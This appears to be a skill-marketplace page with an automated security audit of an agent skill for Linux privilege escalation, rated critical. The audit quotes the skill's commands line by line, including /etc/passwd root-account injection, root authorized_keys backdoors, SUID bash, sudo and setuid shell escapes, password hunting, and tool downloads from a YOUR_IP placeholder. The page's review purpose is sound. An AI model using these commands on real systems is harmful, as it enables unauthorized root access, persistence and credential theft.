Навыки privilege-escalation-knowledge
📦
privilege-escalation-knowledge
Ревизия содержимого r1 Критично ⚙️ Внешние команды🌐 Доступ к сети📁 Доступ к файловой системе
Аудит путей повышения привилегий в Linux
Проверки повышения привилегий в Linux требуют тщательной инвентаризации и строгой авторизации. Этот навык систематизирует распространенные проверки, рискованные векторы и фиксацию доказательств для контролируемых лабораторных сред и защитных аудитов.
Поддерживает: Claude Codex Code(CC)
Не устанавливайте этот Skill автоматически.
Каноническая политика требует проверки оператором перед любым действием по установке.
Установить с помощью моего Агента
Скопируйте этот запрос в своего Агента. Он содержит каноническую страницу Skill и манифест.
Запрос агента
Review the Skillstore skill "privilege-escalation-knowledge" from https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge.md and its manifest at https://skillstore.io/api/skills/charleskozel-privilege-escalation-knowledge/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ваш Агент по-прежнему должен показать план и запросить все подтверждения, требуемые политикой безопасности.
Ресурсы для AI-агентов
Используйте эти ссылки, когда AI-агенту, crawler или script нужен чистый контекст вместо полной страницы.
Протестировать
Использование «privilege-escalation-knowledge». Кратко опиши этот навык для руководителя по безопасности.
Ожидаемый результат:
Этот навык систематизирует проверки повышения привилегий в Linux для авторизованных лабораторий. Он охватывает распространенные слабые места, чувствительные доказательства и потребности отчетности.
Использование «privilege-escalation-knowledge». Создай защитный чеклист на основе навыка.
Ожидаемый результат:
- Проверь правила sudo на наличие лишних команд с повышенными привилегиями.
- Удали неожиданные SUID-бинарные файлы и рискованные capabilities.
- Ограничь доступ к чувствительным файлам, историям, ключам и определениям служб.
Использование «privilege-escalation-knowledge». Подготовь разбор лабораторной работы без команд эксплуатации.
Ожидаемый результат:
Разбор должен указывать неработающий контроль, влияние на бизнес, источник доказательств и владельца исправления. Он должен исключать выполняемые шаги эксплуатации.
Аудит безопасности
Критичноv10 • 09.07.2026 Открыть версионный отчет
The skill is an explicit Linux privilege escalation playbook that instructs enumeration, exploitation, root persistence, and flag capture. Confirmed findings include sudo abuse, SUID abuse, capabilities, Docker socket access, credential discovery, and sensitive file modification. Several Markdown fence and read-only enumeration detections are false positives for their exact pattern.
1
Просканировано файлов
552
Проанализировано строк
126
Пункты проверки
0
Ложные срабатывания проигнорированы
Подтверждённые проблемы безопасности (38)
Критично
SSH directory access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Критично
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Критично
SSH private key file
find / -name id_rsa 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Критично
System password file access
### 4. Writable /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Критично
System password file access
# Check if /etc/passwd is writable
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Критично
System password file access
ls -la /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Критично
System password file access
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Критично
System password file access
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Показать все подтверждённые находки (38)
Критично
System password file access
ls -la /etc/shadow /etc/passwd
The section checks or modifies system password files to create root-equivalent access. That is a critical account compromise technique.
Критично
SUID bit modification
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Критично
SUID bit modification
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Критично
SUID bit modification
chmod +s /tmp/mount/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Критично
SUID bit modification
chmod +s /bin/bash
The command sets the SUID bit on a shell or script path. That can create persistent root-capable execution.
Критично
Pipe to shell pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The command downloads a remote script and pipes it directly to a shell. That is unsafe remote code execution and tool execution guidance.
Критично
Docker socket access
# If found /var/run/docker.sock
The Docker socket guidance leads to host filesystem mounting and chroot access. That is a container escape path to host-level control.
Критично
End-to-End Root Compromise Workflow
The skill states that its purpose is escalating low-privileged users to root and capturing root flags, then defines exploitation and success criteria.
The purpose, core strategy, and success criteria all explicitly center on root access and flag capture. This is clear malicious-capability context, even if used in a lab.
Критично
Post-Exploitation Persistence Guidance
The skill instructs users to maintain root access after compromise through SUID modification or root SSH authorization changes.
The section explicitly says to maintain access after root compromise and lists persistence mechanisms. This is direct post-exploitation guidance.
Высокий
SSH host/auth files
find / -name authorized_keys 2>/dev/null
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Высокий
SSH host/auth files
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Высокий
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The command targets SSH keys or root authorized_keys. This can expose credentials or establish persistent root access.
Высокий
Malware type keywords
│ ├─ Writable script run as root? → Backdoor → Wait → Root
The decision tree explicitly describes adding a backdoor through a root-run writable script. This is persistence and compromise guidance.
Высокий
UID/GID manipulation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
# - cap_setuid+ep on python/perl/ruby
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
# Python with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
# Perl with cap_setuid
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
UID/GID manipulation
│ ├─ cap_setuid on python/perl? → Exploit → Root
The line manipulates UID or describes cap_setuid abuse to run as root. This is direct privilege escalation guidance.
Высокий
Sensitive Data Capture Objective
The skill requires locating, reading, validating, storing, and reporting root flags after privilege escalation.
The root flag capture and state update workflow is explicit. It is lab framed, but it still directs collection and recording of privileged data.
Низкий
System reconnaissance
6. **Verification**: Confirm root access with `id`, `whoami`
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
# Python with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
# Perl with cap_setuid
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
uname -a
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
id
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
│ ├─ cap_setuid on python/perl? → Exploit → Root
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Низкий
System reconnaissance
# whoami
The command or decision-tree line gathers identity, kernel, or capability information used to select escalation paths. In this skill it supports root compromise.
Пункты проверки возможностей (126)
Это реальные локальные возможности, которые могут ожидаться для этого навыка, поэтому они требуют проверки, но не считаются подтверждённым вредоносным поведением.
Критично
Python PTY spawn (shell access)
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line documents spawning an interactive root shell through sudo Python. That is direct shell access guidance for privilege escalation.
Высокий
Process spawn
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line demonstrates spawning an interactive shell from an elevated interpreter. That can give an agent or user root shell access.
Высокий
Python os.system
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Высокий
Python os.system
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Высокий
Python os.exec variants
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The command sets UID to root and launches a shell through Python or Vim. This is direct privilege escalation execution guidance.
Высокий
Ruby/PHP system() call
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Высокий
Ruby/PHP system() call
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Высокий
Ruby/PHP system() call
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line shows system-level shell invocation from an elevated interpreter. In this context it is used to obtain a root shell.
Высокий
sudo privilege escalation
description: Comprehensive knowledge about Linux privilege escalation. Provides methodologies for en
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
- Focus: sudo -l, SUID, obvious misconfigurations
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
- `sudo -l` - Check sudo permissions
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# 2. Check sudo permissions (most common vector)
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - vim: sudo vim -c ':!/bin/sh'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - nano: sudo nano, then Ctrl+R Ctrl+X, type: reset; sh 1>&0 2>&0
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - less: sudo less /etc/profile, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - man: sudo man man, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - find: sudo find . -exec /bin/sh \; -quit
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - perl: sudo perl -e 'exec "/bin/sh";'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# - git: sudo git -p help config, then !sh
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
# 1. Identify binary you can sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
sudo vim
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
"vector": "sudo -l showed vim with NOPASSWD",
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
├─ Run: sudo -l
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
│ ├─ Can sudo something? → GTFOBins → Root
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
│ └─ No sudo → Continue
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
2. **Quick wins first** - sudo before kernel exploits
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
sudo privilege escalation
3. **GTFOBins is your friend** - Use it for SUID/sudo
The finding appears in a section that teaches sudo misconfiguration enumeration and exploitation. It helps convert allowed sudo commands into root access.
Высокий
Hidden file in home directory
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Высокий
Linux /proc filesystem access
cat /proc/1/cgroup | grep docker
The command reads process and container metadata from /proc to determine escape opportunities. This is reconnaissance for privilege escalation.
Высокий
Non-standard device file access
# Or /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
Высокий
Non-standard device file access
cd /dev/shm
The guidance uses /dev/shm as a writable staging area when normal paths are unavailable. That supports tool staging during exploitation.
Средний
Ruby/shell backtick execution
6. **Verification**: Confirm root access with `id`, `whoami`
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `linpeas.sh` - Comprehensive automated enumeration
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `linenum.sh` - Alternative enumeration script
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `pspy` - Monitor processes without root
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `sudo -l` - Check sudo permissions
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `getcap -r / 2>/dev/null` - Find capabilities
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `crontab -l` - Check user cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
- `cat /etc/crontab` - Check system cron jobs
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Ruby/shell backtick execution
```bash
The Markdown block contains operational shell steps for enumeration, exploitation, credential discovery, persistence, or flag capture. The exact trigger is formatting, but the surrounding content is actionable.
Средний
Shell command substitution
searchsploit "linux kernel $(uname -r)"
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Средний
Shell command substitution
ROOT_FLAG=$(cat /root/root.txt)
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Средний
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Средний
Template literal with command substitution
```bash
The command substitution is part of operational exploit search or privileged data capture. It can execute local commands while advancing the escalation workflow.
Средний
Unix shell invocation
# - vim: sudo vim -c ':!/bin/sh'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
# - find: sudo find . -exec /bin/sh \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
# - awk: sudo awk 'BEGIN {system("/bin/sh")}'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
# - perl: sudo perl -e 'exec "/bin/sh";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
# - python: sudo python -c 'import pty;pty.spawn("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/usr/bin/find . -exec /bin/sh -p \; -quit
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
echo 'hacker:$6$salt$hashedpassword:0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
echo '#!/bin/bash\nchmod +s /bin/bash' > /path/to/script.sh
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
/bin/bash -p
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
cp /bin/bash /tmp/mount/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
:set shell=/bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
Unix shell invocation
chmod +s /bin/bash
The line invokes or prepares a Unix shell as part of privilege escalation. It is operational guidance for obtaining or using elevated shell access.
Средний
xargs command (can execute arbitrary commands)
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The xargs pipeline searches configuration files for passwords across the filesystem. It can expose secrets and process many attacker-controlled paths.
Средний
Hidden file access
ls -la /.dockerenv
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Hidden file access
cat ~/.bash_history
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Hidden file access
cat /home/*/.bash_history 2>/dev/null
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Hidden file access
mkdir -p /root/.ssh
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Hidden file access
echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The command reads shell history or writes root SSH configuration. Those paths can expose secrets or create persistent privileged access.
Средний
Temp directory access
mkdir /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Средний
Temp directory access
mount -t nfs TARGET:/share /tmp/mount
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Средний
Temp directory access
cp /bin/bash /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Средний
Temp directory access
chmod +s /tmp/mount/bash
The command stages or mounts files under /tmp as part of NFS-based privilege escalation. It can help create a SUID shell.
Низкий
Hardcoded URL
- GTFOBins (https://gtfobins.github.io/) - SUID/sudo exploitation
The URL points readers to exploitation references for SUID and sudo abuse. It supports offensive privilege escalation guidance.
Низкий
Hardcoded URL
wget http://YOUR_IP:8000/linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
Низкий
Hardcoded URL
curl http://YOUR_IP:8000/linpeas.sh -o linpeas.sh
The URL placeholder supports downloading enumeration tooling from an attacker-controlled host. This creates unsafe tool transfer behavior.
Низкий
Hardcoded URL
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
The URL is used in a pipe-to-shell command that runs an external enumeration script. This is unsafe remote code execution guidance.
Низкий
Hardcoded URL
wget http://YOUR_IP:8000/dirtypipe.c
The URL is used to download kernel exploit source code before compiling and running it. That is high-risk offensive tooling guidance.
Низкий
Standard device file access
- `find / -perm -4000 2>/dev/null` - Find SUID binaries
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
- `getcap -r / 2>/dev/null` - Find capabilities
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find /etc -writable -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
getcap -r / 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find /etc/systemd/system/ -writable 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name docker.sock 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
grep -r "password" /var/www/html/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
grep -r "pass" /etc/ 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i "password"
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
cat /home/*/.bash_history 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name id_rsa 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name authorized_keys 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find /root -name "*.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name "root.txt" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -perm -002 -type f 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Низкий
Standard device file access
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
The command enumerates sensitive system paths while suppressing errors. In context it supports SUID discovery, credential hunting, or root flag capture.
Факторы риска
⚙️ Внешние команды (50)
